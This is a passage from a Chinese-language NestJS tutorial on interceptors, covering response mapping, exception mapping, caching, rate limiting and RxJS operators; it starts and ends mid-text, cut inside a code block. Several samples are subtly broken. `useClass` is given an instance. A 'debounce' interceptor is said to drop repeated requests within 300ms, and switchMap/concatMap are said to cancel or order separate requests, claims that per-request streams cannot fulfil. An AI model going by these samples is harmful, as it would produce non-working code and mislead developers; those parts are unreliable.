使用 `@UseInterceptors` 装饰器通常传递一个类，将实例化的责任交给框架，也可以传递一个就地实例。就地实例通常用于传入参数。

当想要设置一个全局拦截器的时候，需要使用 Nest 应用实例的 `useGlobalInterceptors` 方法。

```ts
const app = await NestFactory.create(AppModule);
app.useGlobalInterceptors(new LoggingInterceptor());
```

在 NestJS 中，如果你希望**全局拦截器能够注入依赖**（比如服务、配置等），推荐的做法是**在模块内部通过依赖注入注册全局拦截器**，而不是直接在 `main.ts` 里用 `useGlobalInterceptors()` 实例化。这样，拦截器就能像普通服务一样自动注入依赖。

```ts
import { Module } from '@nestjs/common';
import { APP_INTERCEPTOR } from '@nestjs/core';

@Module({
  providers: [
    {
      provide: APP_INTERCEPTOR,
      useClass: LoggingInterceptor,
    },
  ],
})
export class AppModule {}
```

> \[!tip]
>
> * 当你通过 `APP_INTERCEPTOR` 这种方式注册拦截器时，无论你在哪个模块（比如上例的 `AppModule` 或其他功能模块）中这样做，这个拦截器都会成为**全局拦截器**，即对整个应用的所有请求生效。
> * 因此，推荐在**定义拦截器（如 `LoggingInterceptor`）的模块**中完成注册，这样结构更清晰、职责更明确。
> * `useClass` 不只是注册自定义提供者的一种方式。你还可以使用 `useExisting`（复用已有提供者实例）或 `useFactory`（通过工厂函数动态创建实例）等方式注册拦截器。

## 响应映射{#response-mapping}

`handle()` 返回的是一个 `Observable` 对象，该对象封装了路由处理程序返回的数据流，可以使用`map` 操作符来修改响应数据。

> \[!tip]
>
> 响应映射功能**不适用于直接操作底层响应对象（如 `@Res()`）的场景**。如果你在控制器方法中注入并操作了 `@Res()`（比如直接调用 `res.json()` 或 `res.send()`），拦截器的响应映射（如 `map` 操作符）将不会生效。建议优先采用 NestJS 推荐的响应返回方式（即直接 return 数据），避免直接依赖底层库的响应对象，这样才能充分发挥拦截器的响应增强能力。

下面我们来实现一个最常见的响应映射拦截器 —— `TransformInterceptor`。它的作用是：**把控制器原本返回的数据包裹到一个统一的对象结构中**，比如 `{ data: ... }`，这样前端拿到的数据格式就始终一致，便于处理和扩展。

RxJS 的 `map` 操作符将响应对象分配给新创建对象的 data 属性，再将这个新对象返回给客户端。

```ts
const response = next.handle().pipe(
  map(data => ({ data }))
)
return response;
```

`response` 是一个 `Observable` 对象，框架将自动订阅并处理这个响应流，最终返回给客户端。

```ts
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';

export interface Response<T> {
  data: T;
}

@Injectable()
export class TransformInterceptor<T> implements NestInterceptor<T, Response<T>> {
  intercept(context: ExecutionContext, next: CallHandler): Observable<Response<T>> {
    return next.handle().pipe(map(data => ({ data })));
  }
}
```

在 Nest 拦截器中，`intercept()` 方法既可以是同步的，也可以是异步的。如果你的拦截逻辑中需要执行异步操作（比如访问数据库、调用外部 API 等），只需将 `intercept()` 方法声明为 `async`，并在方法体内使用 `await` 即可。Nest 会自动识别并正确处理异步拦截器，无需额外配置。

上述代码执行后的响应数据结构如下：

```json
{
  "data": ...
}
```

注意：上述的 `data` 是属性的简写形式，等价于`{data: data}`。

拦截器的强大之处在于它可以为全局需求提供统一、可复用的解决方案。例如，假设我们希望所有接口返回的数据中，凡是出现 `null` 的地方都自动转换为 `''`（空字符串），这样前端在处理数据时就不必再做额外的判空处理。

实现思路如下：

1. **递归遍历响应数据**：无论是对象还是数组，都需要递归地将所有值为 `null` 的字段替换为 `''`。
2. **封装为拦截器**：在拦截器的 `intercept` 方法中，利用 RxJS 的 `map` 操作符对响应数据进行处理。
3. **全局注册**：将该拦截器注册为全局拦截器，确保所有接口响应都自动应用该逻辑。

下面是实现代码：

::: details 代码

简单版本：

```ts
 return next
      .handle()
      .pipe(map(value => value === null ? '' : value ));
```

完整版本：

```ts
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';

@Injectable()
export class NullToEmptyInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    return next.handle().pipe(
      map(data => this.transformNullToEmpty(data))
    );
  }

  /*
    递归遍历数据，将 null 值转换为空字符串
    @param 要处理的数据
    @returns 处理后的数据
   */
  private transformNullToEmpty(data: any): any {
    // 如果数据为 null，直接返回空字符串
    if (data === null) {
      return '';
    }

    // 如果数据为 undefined，返回空字符串
    if (data === undefined) {
      return '';
    }

    // 如果是数组，递归处理每个元素
    if (Array.isArray(data)) {
      return data.map(item => this.transformNullToEmpty(item));
    }

    // 如果是对象（但不是 Date、RegExp 等特殊对象），递归处理每个属性
    if (typeof data === 'object' && data !== null) {
      // 排除一些不需要递归处理的对象类型
      if (data instanceof Date || data instanceof RegExp || data instanceof Error) {
        return data;
      }

      const result: any = {};
      for (const key in data) {
        if (data.hasOwnProperty(key)) {
          result[key] = this.transformNullToEmpty(data[key]);
        }
      }
      return result;
    }

    // 其他类型的数据直接返回
    return data;
  }
}
```

**全局注册方式**

在 `app.module.ts` 中注册为全局拦截器：

```ts
import { Module } from '@nestjs/common';
import { APP_INTERCEPTOR } from '@nestjs/core';
import { NullToEmptyInterceptor } from './interceptors/null-to-empty.interceptor';

@Module({
  imports: [
    // 其他模块
  ],
  providers: [
    {
      provide: APP_INTERCEPTOR,
      useClass: NullToEmptyInterceptor,
    },
  ],
})
export class AppModule {}
```

**使用效果**

注册该拦截器后，所有接口的响应数据中的 `null` 值都会被自动转换为空字符串：

```ts
// 控制器返回的数据
@Get()
getData() {
  return {
    name: '张三',
    age: null,
    address: {
      city: '北京',
      street: null,
      details: [null, '详细地址', null]
    },
    tags: [null, '标签1', null, '标签2']
  };
}
```

**转换后的响应数据：**

```json
{
  "data": {
    "name": "张三",
    "age": "",
    "address": {
      "city": "北京",
      "street": "",
      "details": ["", "详细地址", ""]
    },
    "tags": ["", "标签1", "", "标签2"]
  }
}
```

**优化版本**

如果你希望更精确地控制哪些字段需要转换，可以添加一个配置选项：

```ts
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';

export interface NullToEmptyOptions {
  // 是否转换 null 值
  transformNull?: boolean;
  // 是否转换 undefined 值
  transformUndefined?: boolean;
  // 排除的字段名（这些字段的 null 值不会被转换）
  excludeFields?: string[];
}

@Injectable()
export class NullToEmptyInterceptor implements NestInterceptor {
  constructor(private options: NullToEmptyOptions = {}) {
    this.options = {
      transformNull: true,
      transformUndefined: false,
      excludeFields: [],
      ...options
    };
  }

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    return next.handle().pipe(
      map(data => this.transformNullToEmpty(data))
    );
  }

  private transformNullToEmpty(data: any, path: string = ''): any {
    // 检查是否在排除列表中
    if (this.options.excludeFields?.includes(path)) {
      return data;
    }

    // 处理 null 值
    if (data === null && this.options.transformNull) {
      return '';
    }

    // 处理 undefined 值
    if (data === undefined && this.options.transformUndefined) {
      return '';
    }

    // 处理数组
    if (Array.isArray(data)) {
      return data.map((item, index) => 
        this.transformNullToEmpty(item, `${path}[${index}]`)
      );
    }

    // 处理对象
    if (typeof data === 'object' && data !== null) {
      if (data instanceof Date || data instanceof RegExp || data instanceof Error) {
        return data;
      }

      const result: any = {};
      for (const key in data) {
        if (data.hasOwnProperty(key)) {
          const currentPath = path ? `${path}.${key}` : key;
          result[key] = this.transformNullToEmpty(data[key], currentPath);
        }
      }
      return result;
    }

    return data;
  }
}
```

**使用优化版本：**

```ts
// 在模块中注册时指定配置
{
  provide: APP_INTERCEPTOR,
  useClass: new NullToEmptyInterceptor({
    transformNull: true,
    transformUndefined: false,
    excludeFields: ['sensitiveField', 'timestamp']
  }),
}
```

这样，你就可以灵活控制哪些字段需要转换，哪些字段保持原样，使拦截器更加实用和可配置。

:::

## 异常映射{#exception-mapping}

异常映射是拦截器的另一个强大功能，它允许我们在请求处理过程中捕获和转换异常。通过利用 RxJS 的 `catchError()` 操作符，我们可以统一处理异常、记录错误日志、或者将内部异常转换为用户友好的错误信息。

**基本异常转换**：

最常见的用例是将系统内部异常转换为统一的外部异常格式。例如，当数据库连接失败或第三方服务不可用时，我们可能希望向客户端返回一个通用的"服务暂时不可用"错误，而不是暴露具体的技术细节。

```typescript
import {
  Injectable,
  NestInterceptor,
  ExecutionContext,
  BadGatewayException,
  CallHandler,
} from '@nestjs/common';
import { Observable, throwError } from 'rxjs';
import { catchError } from 'rxjs/operators';

@Injectable()
export class ErrorsInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    return next
      .handle()
      .pipe(
        catchError(err => throwError(() => new BadGatewayException())),
      );
  }
}
```

这个简单的拦截器会捕获所有异常，并统一转换为 `BadGatewayException`（502 错误）。虽然简单，但在某些场景下非常有用，比如当你的应用依赖多个外部服务，而你希望对客户端隐藏具体的错误细节时。

**智能异常映射**：

在实际项目中，我们通常需要更智能的异常处理策略。下面是一个更完善的异常映射拦截器：

```typescript
import {
  Injectable,
  NestInterceptor,
  ExecutionContext,
  CallHandler,
  HttpException,
  InternalServerErrorException,
  BadRequestException,
  NotFoundException,
  Logger,
} from '@nestjs/common';
import { Observable, throwError } from 'rxjs';
import { catchError } from 'rxjs/operators';

@Injectable()
export class SmartErrorsInterceptor implements NestInterceptor {
  private readonly logger = new Logger(SmartErrorsInterceptor.name);

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    return next.handle().pipe(
      catchError(error => {
        // 记录错误日志
        this.logger.error(`异常捕获: ${error.message}`, error.stack);

        // 如果已经是 HTTP 异常，直接抛出
        if (error instanceof HttpException) {
          return throwError(() => error);
        }

        // 根据错误类型进行映射
        const mappedException = this.mapError(error);
        return throwError(() => mappedException);
      }),
    );
  }

  private mapError(error: any): HttpException {
    // 数据库相关错误
    if (error.code === 'ER_DUP_ENTRY' || error.code === '23505') {
      return new BadRequestException('数据已存在，请检查输入信息');
    }

    // 数据库连接错误
    if (error.code === 'ECONNREFUSED' || error.code === 'ETIMEDOUT') {
      return new InternalServerErrorException('服务暂时不可用，请稍后重试');
    }

    // 验证错误
    if (error.name === 'ValidationError') {
      return new BadRequestException(`数据验证失败: ${error.message}`);
    }

    // 资源未找到错误
    if (error.message?.includes('not found') || error.code === 'ENOENT') {
      return new NotFoundException('请求的资源不存在');
    }

    // 权限相关错误
    if (error.code === 'EACCES' || error.message?.includes('permission')) {
      return new BadRequestException('权限不足，无法执行此操作');
    }

    // 默认处理：返回通用的内部服务器错误
    return new InternalServerErrorException('服务器内部错误，请联系管理员');
  }
}
```

**异常日志记录**：

除了转换异常，我们还可以利用拦截器来统一记录异常信息，这对于问题排查和系统监控非常重要：

```typescript
import {
  Injectable,
  NestInterceptor,
  ExecutionContext,
  CallHandler,
  Logger,
} from '@nestjs/common';
import { Observable, throwError } from 'rxjs';
import { catchError, tap } from 'rxjs/operators';

@Injectable()
export class ErrorLoggingInterceptor implements NestInterceptor {
  private readonly logger = new Logger(ErrorLoggingInterceptor.name);

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const { method, url, body, query, params } = request;

    return next.handle().pipe(
      catchError(error => {
        // 构建详细的错误上下文信息
        const errorContext = {
          timestamp: new Date().toISOString(),
          method,
          url,
          body: JSON.stringify(body),
          query: JSON.stringify(query),
          params: JSON.stringify(params),
          userAgent: request.headers['user-agent'],
          ip: request.ip,
          error: {
            name: error.name,
            message: error.message,
            stack: error.stack,
          },
        };

        // 记录详细的错误日志
        this.logger.error(
          `API异常 [${method} ${url}]: ${error.message}`,
          JSON.stringify(errorContext, null, 2),
        );

        // 重新抛出异常，让框架继续处理
        return throwError(() => error);
      }),
    );
  }
}
```

**异常统计和监控**：

我们还可以利用拦截器来收集异常统计信息，用于系统监控和告警：

```typescript
import {
  Injectable,
  NestInterceptor,
  ExecutionContext,
  CallHandler,
} from '@nestjs/common';
import { Observable, throwError } from 'rxjs';
import { catchError } from 'rxjs/operators';

interface ErrorStats {
  count: number;
  lastOccurred: Date;
  endpoints: Set<string>;
}

@Injectable()
export class ErrorStatsInterceptor implements NestInterceptor {
  private errorStats = new Map<string, ErrorStats>();

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const endpoint = `${request.method} ${request.url}`;

    return next.handle().pipe(
      catchError(error => {
        // 更新错误统计
        this.updateErrorStats(error.constructor.name, endpoint);

        // 检查是否需要触发告警
        this.checkAlertThreshold(error.constructor.name);

        return throwError(() => error);
      }),
    );
  }

  private updateErrorStats(errorType: string, endpoint: string): void {
    if (!this.errorStats.has(errorType)) {
      this.errorStats.set(errorType, {
        count: 0,
        lastOccurred: new Date(),
        endpoints: new Set(),
      });
    }

    const stats = this.errorStats.get(errorType)!;
    stats.count++;
    stats.lastOccurred = new Date();
    stats.endpoints.add(endpoint);
  }

  private checkAlertThreshold(errorType: string): void {
    const stats = this.errorStats.get(errorType);
    if (stats && stats.count > 10) { // 阈值：10次
      console.warn(`⚠️ 异常告警: ${errorType} 已发生 ${stats.count} 次`);
      // 这里可以集成实际的告警系统，如发送邮件、短信等
    }
  }

  // 提供获取统计信息的方法
  getErrorStats(): Map<string, ErrorStats> {
    return new Map(this.errorStats);
  }

  // 重置统计信息
  resetStats(): void {
    this.errorStats.clear();
  }
}
```

**组合使用多个异常拦截器**：

在实际项目中，我们可能需要同时使用多个异常处理拦截器。NestJS 支持拦截器的链式调用，执行顺序遵循"洋葱模型"：

```typescript
// 在控制器或全局级别组合使用
@UseInterceptors(
  ErrorLoggingInterceptor,    // 先执行日志记录
  ErrorStatsInterceptor,      // 然后统计异常
  SmartErrorsInterceptor,     // 最后进行异常转换
)
@Controller('api')
export class ApiController {
  // 控制器方法...
}
```

或者在全局级别注册：

```typescript
// app.module.ts
@Module({
  providers: [
    {
      provide: APP_INTERCEPTOR,
      useClass: ErrorLoggingInterceptor,
    },
    {
      provide: APP_INTERCEPTOR,
      useClass: ErrorStatsInterceptor,
    },
    {
      provide: APP_INTERCEPTOR,
      useClass: SmartErrorsInterceptor,
    },
  ],
})
export class AppModule {}
```

**最佳实践**

1. **保持异常信息的一致性**：确保转换后的异常信息对客户端友好，同时保留足够的调试信息。

2. **避免信息泄露**：不要在生产环境中向客户端暴露敏感的系统内部信息。

3. **合理使用日志级别**：根据异常的严重程度选择合适的日志级别（error、warn、info）。

4. **性能考虑**：异常处理逻辑应该尽可能轻量，避免在异常处理过程中引入新的性能问题。

5. **监控和告警**：建立完善的异常监控机制，及时发现和处理系统问题。

通过合理使用异常映射拦截器，可以构建一个健壮、用户友好且易于维护的错误处理系统。

## 流覆盖{#flow-coverage}

在某些场景下，我们可能需要完全阻止调用路由处理程序，并直接返回一个预设的响应。这种技术被称为"流覆盖"（Flow Override），它允许拦截器完全接管请求的处理流程。最典型的应用场景包括缓存机制、请求限流、条件性响应等。

**基本概念**：

流覆盖的核心思想是：**在拦截器中根据特定条件决定是否需要执行原始的路由处理程序**。如果条件满足（比如缓存命中），就直接返回预设的响应；否则，继续执行正常的处理流程。

这种机制的关键在于：

* 使用 RxJS 的 `of()` 操作符创建一个新的 Observable 流
* 不调用 `next.handle()`，从而跳过路由处理程序的执行
* 直接返回我们想要的响应数据

**缓存拦截器实现**：

让我们从一个简单的缓存示例开始，然后逐步完善它：

**基础版本：**

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable, of } from 'rxjs';

@Injectable()
export class CacheInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const isCached = true;
    if (isCached) {
      return of([]); // 直接返回缓存数据，不执行路由处理程序
    }
    return next.handle(); // 执行正常的处理流程
  }
}
```

上述示例中的 `isCached` 是硬编码的，`of([])` 返回一个包含空数组的 Observable。当 `isCached` 为 `true` 时，路由处理程序根本不会被调用，客户端会立即收到空数组响应。

**实用版本：**

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable, of } from 'rxjs';
import { tap } from 'rxjs/operators';

@Injectable()
export class SmartCacheInterceptor implements NestInterceptor {
  private cache = new Map<string, any>();
  private readonly TTL = 60000; // 缓存有效期：60秒

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const cacheKey = this.generateCacheKey(request);

    // 检查缓存
    const cachedData = this.getFromCache(cacheKey);
    if (cachedData) {
      console.log(`缓存命中: ${cacheKey}`);
      return of(cachedData); // 返回缓存数据
    }

    // 缓存未命中，执行正常流程并缓存结果
    console.log(`缓存未命中: ${cacheKey}`);
    return next.handle().pipe(
      tap(response => {
        this.setCache(cacheKey, response);
        console.log(`数据已缓存: ${cacheKey}`);
      })
    );
  }

  private generateCacheKey(request: any): string {
    const { method, url, query } = request;
    return `${method}:${url}:${JSON.stringify(query)}`;
  }

  private getFromCache(key: string): any {
    const cached = this.cache.get(key);
    if (!cached) return null;

    const { data, timestamp } = cached;
    const isExpired = Date.now() - timestamp > this.TTL;

    if (isExpired) {
      this.cache.delete(key);
      return null;
    }

    return data;
  }

  private setCache(key: string, data: any): void {
    this.cache.set(key, {
      data,
      timestamp: Date.now()
    });
  }
}
```

**基于装饰器的缓存控制**：

为了创建更通用的解决方案，我们可以结合自定义装饰器和 Reflector 来实现更灵活的缓存控制：

**自定义缓存装饰器：**

```typescript
import { SetMetadata } from '@nestjs/common';

export const CACHE_KEY = 'cache';  
export const CACHE_TTL_KEY = 'cache_ttl';  

/**
 * 启用缓存装饰器
 * @param ttl 缓存时间（毫秒），默认60秒
 */
export const Cacheable = (ttl: number = 60000) => SetMetadata(CACHE_KEY, ttl);

/**
 * 设置缓存TTL装饰器
 * @param ttl 缓存时间（毫秒）
 */
export const CacheTTL = (ttl: number) => SetMetadata(CACHE_TTL_KEY, ttl);
```

**增强的缓存拦截器：**

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Reflector } from '@nestjs/core';
import { Observable, of } from 'rxjs';
import { tap } from 'rxjs/operators';
import { CACHE_KEY, CACHE_TTL_KEY } from './cache.decorator';

@Injectable()
export class ReflectorCacheInterceptor implements NestInterceptor {
  private cache = new Map<string, any>();

  constructor(private reflector: Reflector) {}

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const handler = context.getHandler();
    const controller = context.getClass();

    // 检查是否启用了缓存
    const cacheTTL = this.reflector.getAllAndOverride<number>(CACHE_KEY, [
      handler,
      controller,
    ]);

    if (!cacheTTL) {
      // 未启用缓存，直接执行正常流程
      return next.handle();
    }

    const request = context.switchToHttp().getRequest();
    const cacheKey = this.generateCacheKey(request);

    // 检查缓存
    const cachedData = this.getFromCache(cacheKey, cacheTTL);
    if (cachedData) {
      return of(cachedData);
    }

    // 执行正常流程并缓存结果
    return next.handle().pipe(
      tap(response => {
        this.setCache(cacheKey, response);
      })
    );
  }

  private generateCacheKey(request: any): string {
    const { method, url, query, body } = request;
    // 对于GET请求，只考虑URL和查询参数
    if (method === 'GET') {
      return `${method}:${url}:${JSON.stringify(query)}`;
    }
    // 对于其他请求，还要考虑请求体
    return `${method}:${url}:${JSON.stringify(query)}:${JSON.stringify(body)}`;
  }

  private getFromCache(key: string, ttl: number): any {
    const cached = this.cache.get(key);
    if (!cached) return null;

    const { data, timestamp } = cached;
    const isExpired = Date.now() - timestamp > ttl;

    if (isExpired) {
      this.cache.delete(key);
      return null;
    }

    return data;
  }

  private setCache(key: string, data: any): void {
    this.cache.set(key, {
      data,
      timestamp: Date.now()
    });
  }
}
```

**使用示例：**

```typescript
import { Controller, Get, Query } from '@nestjs/common';
import { Cacheable } from './cache.decorator';

@Controller('users')
export class UsersController {

  @Get()
  @Cacheable(30000) // 缓存30秒
  async findAll(@Query() query: any) {
    // 这个方法的结果会被缓存30秒
    console.log('执行数据库查询...');
    return await this.userService.findAll(query);
  }

  @Get('profile')
  @Cacheable(120000) // 缓存2分钟
  async getProfile(@Query('id') id: string) {
    console.log('获取用户资料...');
    return await this.userService.findById(id);
  }

  @Get('no-cache')
  async getNoCacheData() {
    // 这个方法不会被缓存
    return await this.userService.getRealTimeData();
  }
}
```

**条件性响应拦截器**：

除了缓存，流覆盖还可以用于实现条件性响应，比如根据用户权限返回不同的数据：

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable, of } from 'rxjs';

@Injectable()
export class ConditionalResponseInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const user = request.user;

    // 如果用户未登录，返回公开数据
    if (!user) {
      return of({
        message: '请登录后查看完整内容',
        publicData: '这是公开可见的数据'
      });
    }

    // 如果用户权限不足，返回受限数据
    if (user.role !== 'admin') {
      return of({
        message: '权限受限，显示部分内容',
        limitedData: '这是受限用户可见的数据'
      });
    }

    // 管理员用户，执行正常流程
    return next.handle();
  }
}
```

**请求限流拦截器**：

流覆盖还可以用于实现请求限流：

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable, of, throwError } from 'rxjs';
import { HttpException } from '@nestjs/common';

@Injectable()
export class RateLimitInterceptor implements NestInterceptor {
  private requests = new Map<string, number[]>();
  private readonly limit = 10; // 每分钟最多10次请求
  private readonly windowMs = 60000; // 时间窗口：1分钟

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const clientId = this.getClientId(request);

    if (this.isRateLimited(clientId)) {
      // 超出限制，直接返回错误响应
      return throwError(() => new HttpException('请求过于频繁，请稍后再试', 429));
    }

    // 记录请求并继续执行
    this.recordRequest(clientId);
    return next.handle();
  }

  private getClientId(request: any): string {
    // 可以基于IP、用户ID或其他标识符
    return request.ip || request.user?.id || 'anonymous';
  }

  private isRateLimited(clientId: string): boolean {
    const now = Date.now();
    const requests = this.requests.get(clientId) || [];

    // 清理过期的请求记录
    const validRequests = requests.filter(time => now - time < this.windowMs);
    this.requests.set(clientId, validRequests);

    return validRequests.length >= this.limit;
  }

  private recordRequest(clientId: string): void {
    const requests = this.requests.get(clientId) || [];
    requests.push(Date.now());
    this.requests.set(clientId, requests);
  }
}
```

**最佳实践**：

1. **合理使用**：避免过度使用流覆盖导致逻辑复杂化

2. **缓存策略**：选择合适的缓存键、TTL时间，注意缓存清理

3. **性能优化**：快速检查缓存，避免耗时操作，考虑使用Redis

4. **异常处理**：确保正确处理流覆盖时的异常情况

5. **充分测试**：编写单元测试确保各分支正确工作

通过流覆盖技术，可以为应用添加缓存、限流等功能，提升性能和用户体验。

## 更多运算符{#more-operators}

RxJS 运算符为我们提供了强大的流操作能力，使得拦截器能够处理各种复杂的业务场景。通过合理组合不同的运算符，我们可以实现超时控制、重试机制、防抖节流、资源清理等高级功能。

**超时处理**：

处理路由请求超时是一个常见需求。当端点在指定时间内未返回响应时，我们希望主动终止请求并返回超时错误。这不仅能提升用户体验，还能避免资源浪费。

::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler, RequestTimeoutException } from '@nestjs/common';
import { Observable, throwError, TimeoutError } from 'rxjs';
import { catchError, timeout } from 'rxjs/operators';

@Injectable()
export class TimeoutInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    return next.handle().pipe(
      timeout(5000), // 5秒超时
      catchError(err => {
        if (err instanceof TimeoutError) {
          return throwError(() => new RequestTimeoutException());
        }
        return throwError(() => err);
      }),
    );
  }
}
```

:::

上述代码在5秒后会取消请求处理。你还可以在抛出 `RequestTimeoutException` 之前添加自定义逻辑，比如释放资源、记录日志等。

**增强版超时拦截器**：

::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler, RequestTimeoutException, Logger } from '@nestjs/common';
import { Observable, throwError, TimeoutError } from 'rxjs';
import { catchError, timeout, finalize } from 'rxjs/operators';

@Injectable()
export class EnhancedTimeoutInterceptor implements NestInterceptor {
  private readonly logger = new Logger(EnhancedTimeoutInterceptor.name);
  private readonly defaultTimeout = 5000; // 默认5秒

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const { method, url } = request;

    // 可以根据不同的路由设置不同的超时时间
    const timeoutMs = this.getTimeoutForRoute(method, url);

    const startTime = Date.now();

    return next.handle().pipe(
      timeout(timeoutMs),
      catchError(err => {
        if (err instanceof TimeoutError) {
          const duration = Date.now() - startTime;
          this.logger.warn(`请求超时: ${method} ${url} - 耗时: ${duration}ms, 超时设置: ${timeoutMs}ms`);

          // 可以在这里添加清理逻辑
          this.cleanupResources(context);

          return throwError(() => new RequestTimeoutException(`请求超时，请稍后重试`));
        }
        return throwError(() => err);
      }),
      finalize(() => {
        const duration = Date.now() - startTime;
        this.logger.debug(`请求完成: ${method} ${url} - 耗时: ${duration}ms`);
      })
    );
  }

  private getTimeoutForRoute(method: string, url: string): number {
    // 根据路由特征设置不同的超时时间
    if (url.includes('/upload') || url.includes('/download')) {
      return 30000; // 文件操作30秒
    }
    if (url.includes('/report') || url.includes('/export')) {
      return 60000; // 报表生成60秒
    }
    return this.defaultTimeout; // 默认5秒
  }

  private cleanupResources(context: ExecutionContext): void {
    // 在这里可以添加资源清理逻辑
    // 比如取消数据库查询、关闭文件句柄等
    this.logger.debug('执行超时清理逻辑');
  }
}
```

:::

**重试机制**：

对于可能因为网络波动或临时服务不可用而失败的请求，我们可以实现自动重试机制：

::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler, Logger } from '@nestjs/common';
import { Observable, throwError, timer } from 'rxjs';
import { catchError, retry, retryWhen, delayWhen, take, concat } from 'rxjs/operators';

@Injectable()
export class RetryInterceptor implements NestInterceptor {
  private readonly logger = new Logger(RetryInterceptor.name);

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const { method, url } = request;

    return next.handle().pipe(
      // 简单重试：失败后立即重试2次
      // retry(2),

      // 智能重试：带延迟的重试机制
      retryWhen(errors =>
        errors.pipe(
          delayWhen((error, index) => {
            const retryAttempt = index + 1;
            const delay = Math.min(1000 * Math.pow(2, index), 10000); // 指数退避，最大10秒

            // 只对特定错误进行重试
            if (this.shouldRetry(error) && retryAttempt <= 3) {
              this.logger.warn(`请求失败，${delay}ms后进行第${retryAttempt}次重试: ${method} ${url}`);
              return timer(delay);
            }

            // 不重试，直接抛出错误
            return throwError(() => error);
          }),
          take(3) // 最多重试3次
        )
      ),
      catchError(error => {
        this.logger.error(`请求最终失败: ${method} ${url}`, error.stack);
        return throwError(() => error);
      })
    );
  }

  private shouldRetry(error: any): boolean {
    // 定义哪些错误需要重试
    const retryableErrors = [
      'ECONNRESET',
      'ETIMEDOUT',
      'ECONNREFUSED',
      'ENOTFOUND'
    ];

    // HTTP状态码重试策略
    const retryableStatusCodes = [502, 503, 504];

    return (
      retryableErrors.includes(error.code) ||
      retryableStatusCodes.includes(error.status) ||
      error.message?.includes('timeout')
    );
  }
}
```

:::

**防抖和节流**：

对于频繁触发的请求，我们可以使用防抖（debounce）和节流（throttle）来优化性能：

::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { debounceTime, throttleTime, distinctUntilChanged } from 'rxjs/operators';

@Injectable()
export class DebounceInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();

    // 对搜索接口应用防抖
    if (request.url.includes('/search')) {
      return next.handle().pipe(
        debounceTime(300), // 300ms内的重复请求会被忽略
        distinctUntilChanged() // 过滤相同的请求
      );
    }

    // 对统计接口应用节流
    if (request.url.includes('/stats')) {
      return next.handle().pipe(
        throttleTime(1000) // 1秒内最多执行一次
      );
    }

    return next.handle();
  }
}
```

:::

**请求合并和切换**：

使用 `switchMap` 可以实现请求切换，确保只处理最新的请求：

::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { switchMap, mergeMap, concatMap } from  'rxjs/operators';

@Injectable()
export class RequestSwitchInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();

    // 对于搜索请求，使用switchMap确保只处理最新的搜索
    if (request.url.includes('/search')) {
      return next.handle().pipe(
        switchMap(result => {
          // 如果有新的搜索请求进来，会取消当前请求
          return result;
        })
      );
    }

    // 对于并发请求，使用mergeMap
    if (request.url.includes('/batch')) {
      return next.handle().pipe(
        mergeMap(result => {
          // 允许多个请求并发执行
          return result;
        })
      );
    }

    // 对于需要顺序执行的请求，使用concatMap
    if (request.url.includes('/sequence')) {
      return next.handle().pipe(
        concatMap(result => {
          // 确保请求按顺序执行
          return result;
        })
      );
    }

    return next.handle();
  }
}
```

:::

**资源清理**：

使用 `finalize` 运算符可以确保在请求完成或出错时都能执行清理逻辑：
::: details

```typescript
import { Injectable, NestInterceptor, ExecutionContext, CallHandler, Logger } from '@nestjs/common';
import { Observable } from 'rxjs';
import { finalize, tap } from 'rxjs/operators';

@Injectable()
export class ResourceCleanupInterceptor implements NestInterceptor {
  private readonly logger = new Logger(ResourceCleanupInterceptor.name);
  private activeConnections = new Map<string, any>();

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const requestId = this.generateRequestId(request);

    // 记录活跃连接
    this.activeConnections.set(requestId, {
      startTime: Date.now(),
      method: request.method,
      url: request.url
    });

    return next.handle().pipe(
      tap(response => {
        // 请求成功时的处理
        this.logger.debug(`请求成功: ${requestId}`);
      }),
      finalize(() => {
